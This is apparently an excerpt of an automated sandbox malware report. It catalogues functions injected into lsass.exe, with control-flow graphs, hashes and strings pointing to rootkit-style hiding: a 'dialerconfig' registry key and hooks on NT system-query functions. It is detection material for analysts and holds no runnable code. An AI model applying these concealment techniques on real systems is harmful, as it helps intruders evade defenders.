                                            control_flow_graph 72 202c0ae202c-202c0ae2057 call 202c0b02d00 74 202c0ae205d-202c0ae2066 72->74 75 202c0ae206f-202c0ae2072 74->75 76 202c0ae2068-202c0ae206c 74->76 77 202c0ae2078-202c0ae207b 75->77 78 202c0ae2223-202c0ae2243 75->78 76->75 79 202c0ae2081-202c0ae2093 77->79 80 202c0ae2173-202c0ae2176 77->80 79->78 83 202c0ae2099-202c0ae20a5 79->83 81 202c0ae2178-202c0ae2192 call 202c0ae2f04 80->81 82 202c0ae21e7-202c0ae21ea 80->82 81->78 92 202c0ae2198-202c0ae21ae 81->92 82->78 87 202c0ae21ec-202c0ae21ff call 202c0ae2f04 82->87 85 202c0ae20a7-202c0ae20b7 83->85 86 202c0ae20d3-202c0ae20de call 202c0ae1bbc 83->86 85->86 89 202c0ae20b9-202c0ae20d1 StrCmpNIW 85->89 93 202c0ae20ff-202c0ae2111 86->93 100 202c0ae20e0-202c0ae20f8 call 202c0ae1bf4 86->100 87->78 99 202c0ae2201-202c0ae2209 87->99 89->86 89->93 92->78 98 202c0ae21b0-202c0ae21cc 92->98 96 202c0ae2121-202c0ae2123 93->96 97 202c0ae2113-202c0ae2115 93->97 103 202c0ae212a 96->103 104 202c0ae2125-202c0ae2128 96->104 101 202c0ae211c-202c0ae211f 97->101 102 202c0ae2117-202c0ae211a 97->102 105 202c0ae21d0-202c0ae21e3 98->105 99->78 106 202c0ae220b-202c0ae2213 99->106 100->93 112 202c0ae20fa-202c0ae20fd 100->112 109 202c0ae212d-202c0ae2130 101->109 102->109 103->109 104->109 105->105 110 202c0ae21e5 105->110 111 202c0ae2216-202c0ae2221 106->111 113 202c0ae213e-202c0ae2141 109->113 114 202c0ae2132-202c0ae2138 109->114 110->78 111->78 111->111 112->109 113->78 115 202c0ae2147-202c0ae214b 113->115 114->83 114->113 116 202c0ae214d-202c0ae2150 115->116 117 202c0ae2162-202c0ae216e 115->117 116->78 118 202c0ae2156-202c0ae215b 116->118 117->78 118->115 119 202c0ae215d 118->119 119->78
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID: S$dialer
                                            • API String ID: 756756679-3873981283
                                            • Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
                                            • Instruction ID: 7d0801e181e7e1027f0f2556f8cd6da4d5c454e321737ababf7947f23bb56196
                                            • Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
                                            • Instruction Fuzzy Hash: 5651AC32B107A4C6FB61CF29E88C6AD63E5F704784F069123DFA512B86DB35C969C300
                                            Function 00000202C0AE1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: FinalHandleNamePathlstrlen
                                            • String ID: \\?\
                                            • API String ID: 2719912262-4282027825
                                            • Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction ID: 8c3d5dbfacf504bca622ea7f657326f4a67cd1e3c1ec290e5004b19a988dad2d
                                            • Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction Fuzzy Hash: BCF01922304781D2FB608B21E8CC76D6765F748BC8F958123DB994B966DA2DC68DCB00
                                            Function 00000202C0AE1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$AllocProcess
                                            • String ID:
                                            • API String ID: 1617791916-0
                                            • Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction ID: 14bf7bafefd4b55b8bc325b1bb0149ce76066631eeb9ae1ebb85862f094286e6
                                            • Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction Fuzzy Hash: 48E03936601704C6FB048B62D84C34A36E5EB89B06F0681268B0907362DF7E8499C750
                                            Function 00000202C0AE328C Relevance: 4.5, APIs: 3, Instructions: 43threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
                                            • String ID:
                                            • API String ID: 1683269324-0
                                            • Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction ID: 435a5f88e7c6a6dd218e0f6004eb37f2790bd4aa4d5b291e1e8191fef771e2ad
                                            • Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction Fuzzy Hash: A8119672618782D2F760D721F8CDB6D2294BB54748F528127ABB6497A3EF78C46C8240
                                            Function 00000202C0AE1ABC Relevance: 3.1, APIs: 2, Instructions: 68sleepCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                              • Part of subcall function 00000202C0AE1628: GetProcessHeap.KERNEL32 ref: 00000202C0AE1633
                                              • Part of subcall function 00000202C0AE1628: HeapAlloc.KERNEL32 ref: 00000202C0AE1642
                                              • Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16B2
                                              • Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16DF
                                              • Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE16F9
                                              • Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1719
                                              • Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1734
                                              • Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1754
                                              • Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE176F
                                              • Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE178F
                                              • Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE17AA
                                              • Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17CA
                                            • Sleep.KERNEL32 ref: 00000202C0AE1AD7
                                            • SleepEx.KERNELBASE ref: 00000202C0AE1ADD
                                              • Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE17E5
                                              • Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1805
                                              • Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1820
                                              • Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1840
                                              • Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE185B
                                              • Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE187B
                                              • Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1896
                                              • Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE18A0
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: CloseOpen$HeapSleep$AllocProcess
                                            • String ID:
                                            • API String ID: 1534210851-0
                                            • Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction ID: 1519724245a59a03f973eddcebe70884a6cccd966baeab2eab41fd8751cf1259
                                            • Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction Fuzzy Hash: ED31C071200BE1C1FF509B26DACD3AD53A5AB84FC4F0654239FA987697FE14C879C210
                                            Function 00000202C0AB273C Relevance: 1.7, APIs: 1, Instructions: 187libraryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 177 202c0ab273c-202c0ab27a4 call 202c0ab29d4 * 4 186 202c0ab27aa-202c0ab27ad 177->186 187 202c0ab29b2 177->187 186->187 188 202c0ab27b3-202c0ab27b6 186->188 189 202c0ab29b4-202c0ab29d0 187->189 188->187 190 202c0ab27bc-202c0ab27bf 188->190 190->187 191 202c0ab27c5-202c0ab27e6 190->191 191->187 193 202c0ab27ec-202c0ab280c 191->193 194 202c0ab280e-202c0ab2836 193->194 195 202c0ab2838-202c0ab283f 193->195 194->194 194->195 196 202c0ab28df-202c0ab28e6 195->196 197 202c0ab2845-202c0ab2852 195->197 198 202c0ab28ec-202c0ab2901 196->198 199 202c0ab2992-202c0ab29b0 196->199 197->196 200 202c0ab2858-202c0ab286a LoadLibraryA 197->200 198->199 201 202c0ab2907 198->201 199->189 202 202c0ab286c-202c0ab2878 200->202 203 202c0ab28ca-202c0ab28d2 200->203 206 202c0ab290d-202c0ab2921 201->206 207 202c0ab28c5-202c0ab28c8 202->207 203->200 204 202c0ab28d4-202c0ab28d9 203->204 204->196 209 202c0ab2923-202c0ab2934 206->209 210 202c0ab2982-202c0ab298c 206->210 207->203 208 202c0ab287a-202c0ab287d 207->208 211 202c0ab287f-202c0ab28a5 208->211 212 202c0ab28a7-202c0ab28b7 208->212 214 202c0ab293f-202c0ab2943 209->214 215 202c0ab2936-202c0ab293d 209->215 210->199 210->206 216 202c0ab28ba-202c0ab28c1 211->216 212->216 218 202c0ab294d-202c0ab2951 214->218 219 202c0ab2945-202c0ab294b 214->219 217 202c0ab2970-202c0ab2980 215->217 216->207 217->209 217->210 220 202c0ab2963-202c0ab2967 218->220 221 202c0ab2953-202c0ab2961 218->221 219->217 220->217 223 202c0ab2969-202c0ab296c 220->223 221->217 223->217
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245272060.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd
                                            Similarity
                                            • API ID: LibraryLoad
                                            • String ID:
                                            • API String ID: 1029625771-0
                                            • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction ID: e9c472418be9705004432d1361e805bb540b7ad58247b10c253449de9ed0d722
                                            • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction Fuzzy Hash: 8161DF72B01790C7EB648F15908C76DB3A2FB54BA4F598127DF5D0778ADA38D86AC700
                                            Function 00000202C0B4D6CC Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 239 202c0b4d6cc-202c0b4d6db 240 202c0b4d6eb-202c0b4d6fb 239->240 241 202c0b4d6dd-202c0b4d6e9 239->241 243 202c0b4d712-202c0b4d72a HeapAlloc 240->243 241->240 242 202c0b4d72e-202c0b4d739 call 202c0b4d6ac 241->242 249 202c0b4d73b-202c0b4d740 242->249 245 202c0b4d6fd-202c0b4d704 call 202c0b50720 243->245 246 202c0b4d72c 243->246 245->242 251 202c0b4d706-202c0b4d710 call 202c0b4b85c 245->251 246->249 251->242 251->243
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: AllocHeap
                                            • String ID:
                                            • API String ID: 4292702814-0
                                            • Opcode ID: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
                                            • Instruction ID: 34ca642fddbfa80b98dd7d1e12cd625f7d8416b3242e726ef6993ad470ce53bd
                                            • Opcode Fuzzy Hash: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
                                            • Instruction Fuzzy Hash: 51F03A58301701C1FE68DBE699DD3AD52845BA9B88F0F54374A0A867C3EE2CCE898621
                                            Function 00000202C0AED6CC Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 224 202c0aed6cc-202c0aed6db 225 202c0aed6dd-202c0aed6e9 224->225 226 202c0aed6eb-202c0aed6fb 224->226 225->226 227 202c0aed72e-202c0aed739 call 202c0aed6ac 225->227 228 202c0aed712-202c0aed72a HeapAlloc 226->228 233 202c0aed73b-202c0aed740 227->233 229 202c0aed6fd-202c0aed704 call 202c0af0720 228->229 230 202c0aed72c 228->230 229->227 236 202c0aed706-202c0aed710 call 202c0aeb85c 229->236 230->233 236->227 236->228
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: AllocHeap
                                            • String ID:
                                            • API String ID: 4292702814-0
                                            • Opcode ID: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
                                            • Instruction ID: f1c622e14429a0b520057bbb946f3f429c66e82a7f768f9b6ab0a37ff79ad3e0
                                            • Opcode Fuzzy Hash: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
                                            • Instruction Fuzzy Hash: E4F0E998311780C1FE546B6699CD39D22845F88BC0F0E5437CF9A867D3EE1CC4AC8620

                                            Non-executed Functions

                                            Function 00000202C0B42B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
                                            • String ID: NtQueryObject$\Device\Nsi$ntdll.dll
                                            • API String ID: 2119608203-3850299575
                                            • Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction ID: ea49defb10b1f29b0a940c33d04d96a7ecb763d36349eb628f0f926092e888ee
                                            • Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction Fuzzy Hash: 49B15B62610F50C2FB68CFA5D48C7AD63A5FB64B88F865027EE0953B96DA34CE48D740
                                            Function 00000202C0AE2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
                                            • String ID: NtQueryObject$\Device\Nsi$ntdll.dll
                                            • API String ID: 2119608203-3850299575
                                            • Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction ID: 629c2a77cc7c689ebc2a82fae016c29b45818ce3604cad8590d8ad8b42d26791
                                            • Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction Fuzzy Hash: 8BB18B62210BA0C6FB688F25C8CC7AD67A5F744B88F565017EF9953796EB35CC68C340
                                            Function 00000202C0B47D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                            • String ID:
                                            • API String ID: 3140674995-0
                                            • Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction ID: 074cb2b116bef8104a3ff1e1834ec69d9378fb96776ea096e4a568f3e73522d9
                                            • Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction Fuzzy Hash: 7E313A72205B80CAFB60DF64E8883ED6364F794748F45402BDA4D57A96EF38CA48CB10
                                            Function 00000202C0AE7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                            • String ID:
                                            • API String ID: 3140674995-0
                                            • Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction ID: 43f65ee015122b04127526cc5c334c21e5a52d8fe7862f76cef395083f707644
                                            • Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction Fuzzy Hash: 74311972205B80CAFB609F60E8887ED6364F784744F45442BDB8E57A9AEF39C658C710
                                            Function 00000202C0B4D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                            • String ID:
                                            • API String ID: 1239891234-0
                                            • Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction ID: 20738ec7ba0cd5b3c578590298eade2181db2edcda4be7abefa7008bced66b77
                                            • Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction Fuzzy Hash: 36318632214F80D6EB60DF65E88839E73A4F799758F550127EA9D43B56DF38CA49CB00
                                            Function 00000202C0AED2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                            • String ID:
                                            • API String ID: 1239891234-0
                                            • Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction ID: 3629953f5db9c1b5f8070e01c3cc1c8c2a667b2e639c3edd282c0df2f16cc2f9
                                            • Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction Fuzzy Hash: FF314F36214B80C6EB60CF25E88879E73A4F789758F550127EB9D47BA6EF38C559CB00
                                            Function 00000202C0B41628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                            • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                            • API String ID: 106492572-2879589442
                                            • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction ID: 149db328da245b585e47ad4ced1ad46789ec14c8a6fdb7b940b5e9de63c5882f
                                            • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction Fuzzy Hash: 76711826A10B11C6FB20DF65E8DC69D23A8F794B9CF461613DA4E53B6AEE34C948C740
                                            Function 00000202C0AE1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                            • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                            • API String ID: 106492572-2879589442
                                            • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction ID: 1d03e476145ce09beb9e97f2b7c5aab0935724522098279c66d9844aa9511552
                                            • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction Fuzzy Hash: F2710636210B50C6FB109F25E8DCA9D23A9FB84F88F425123DB9E47B6ADE39C458C744
                                            Function 00000202C0B412BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
                                            • String ID: d
                                            • API String ID: 2005889112-2564639436
                                            • Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction ID: 2b8714d9082f3f218f4c46e0c3f9fa38d1d4531711b30a527e95a4339a34b327
                                            • Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction Fuzzy Hash: 77513836600B85C6EB54CF62E48C36E77A5F798F89F054126DA4A07B5ADF3CC9498B00
                                            Function 00000202C0AE12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
                                            • String ID: d
                                            • API String ID: 2005889112-2564639436
                                            • Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction ID: a5c0dd0dd48098ab404cbb16107d584fe92d72ef17c22032ec6d5acc94b81fb7
                                            • Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction Fuzzy Hash: 2C513876200B84C6EB50CF62E48C35EB7A5F788F89F458126DB890776ADF39C059CB00
                                            Function 00000202C0B41D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentThread$AddressHandleModuleProc
                                            • String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
                                            • API String ID: 4175298099-1975688563
                                            • Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction ID: e40b0a0d983c3e5c2f972df2f8d56332244cd6638b8c526d6e2f878550c6667d
                                            • Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction Fuzzy Hash: EC316F64600F4AE0FA15EBA5E8DD6EC2321EB2474CFC35553994A02567AE78CF8ED350
                                            Function 00000202C0AE1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentThread$AddressHandleModuleProc
                                            • String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
                                            • API String ID: 4175298099-1975688563
                                            • Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction ID: 90a0736ddaf8fe37476ff4478ca91d660d6ffa8bbfea73cfc67e31501e438409
                                            • Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction Fuzzy Hash: 5031A2A5100B8AE0FE15EF69E8DD7DC2321F704748F835423D7A9021679F79866ED391
                                            Function 00000202C0AB6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245272060.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd
